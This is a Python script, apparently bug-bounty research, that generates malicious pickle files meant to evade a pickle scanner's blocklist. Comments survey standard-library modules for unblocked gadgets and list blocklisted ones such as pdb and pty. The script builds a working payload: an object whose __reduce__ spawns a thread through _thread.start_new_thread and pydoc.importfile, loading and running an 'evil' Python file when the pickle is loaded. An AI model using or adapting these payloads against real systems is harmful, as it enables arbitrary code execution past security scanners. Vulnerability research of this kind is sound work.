gen_wave3.py

import pickle, pickletools, io, os

ART = r"D:\0projects\bountykimi\tmp\artifacts"
MARK = r"C:/Users/uozer/AppData/Local/Temp/opencode"

def globs_of(data):
    memo={}; globs=set()
    ops=list(pickletools.genops(io.BytesIO(data)))
    for n in range(len(ops)):
        op=ops[n]
        if op[0].name=='MEMOIZE' and n>0: memo[len(memo)]=ops[n-1][1]
        elif op[0].name in ('GLOBAL','INST'):
            globs.add(tuple(op[1].split(' ',1)))
        elif op[0].name=='STACK_GLOBAL':
            vals=[]
            for off in range(1,n):
                pv=ops[n-off]
                if pv[0].name in ('MEMOIZE','PUT','BINPUT','LONG_BINPUT'): continue
                if pv[0].name in ('GET','BINGET','LONG_BINGET'): vals.append(memo[int(pv[1])])
                elif pv[0].name in ('SHORT_BINUNICODE','UNICODE','BINUNICODE','BINUNICODE8'): vals.append(pv[1])
                else: vals.append('unknown')
                if len(vals)==2: break
            if len(vals)==2: globs.add((vals[1],vals[0]))
    return sorted(globs)

def emit(name, obj):
    data = pickle.dumps(obj, protocol=4)
    open(os.path.join(ART, name), "wb").write(data)
    print(f"=== {name}", globs_of(data))

# ssl.SSLSocket? needs socket. ssl.SSLContext() constructor no connect.
# urllib.request.urlopen f34 already SSRF.
# urllib.request.urlcleanup? no.
# urllib.request.pathname2url? no.

# pdb blocklisted. bdb blocklisted.

# cgitb? no.

# reprlib? no.

# difflib? no.

# filecmp? no exec; filecmp.cmp reads files - file read compare, no output. skip.

# tempfile confirmed.

# glob? no.

# fnmatch? no.

# linecache? no effect.

# shlex? no.

# msilib? windows-only, reads MSI. msilib.init_database? creates db file -> file write? niche. skip.

# winsound.PlaySound(file) - reads file, plays. no. winsound.Beep no.

# mimetypes.init(files) reads mime files. file read, no output. skip.

# platform? no.

# keyword? no.

# pydoc_data? no.

# queue? no.

# _thread? low-level. thread.start_new? not module-level in unblocked? '_thread' module. _thread.start_new_thread(func, args) spawns thread running func! func arg is pickled callable... nested. The callable would be a global e.g. pydoc.importfile. So reduce -> (_thread.start_new_thread, (pydoc.importfile, (path,))). _thread not blocklisted!
import _thread
class T1:
    def __reduce__(self):
        import pydoc
        return (_thread.start_new_thread, (pydoc.importfile, (os.path.join(ART, "f11_evil.py"),)))
emit("f42_thread_spawn.pkl", T1())

# concurrent.futures? module 'concurrent.futures' not blocklisted. ThreadPoolExecutor(max_workers) constructor spawns pool but no exec. Executor.submit needed.
# BUT: concurrent.futures.ThreadPoolExecutor().submit? needs instance.
# _thread.start_new_thread is cleaner.

# sched.scheduler().enter? needs instance.

# signal.set_wakeup_fd? no.

# resource? unix.

# grp/pwd? unix.

# syslog? unix.

# pty blocklisted.
print("done")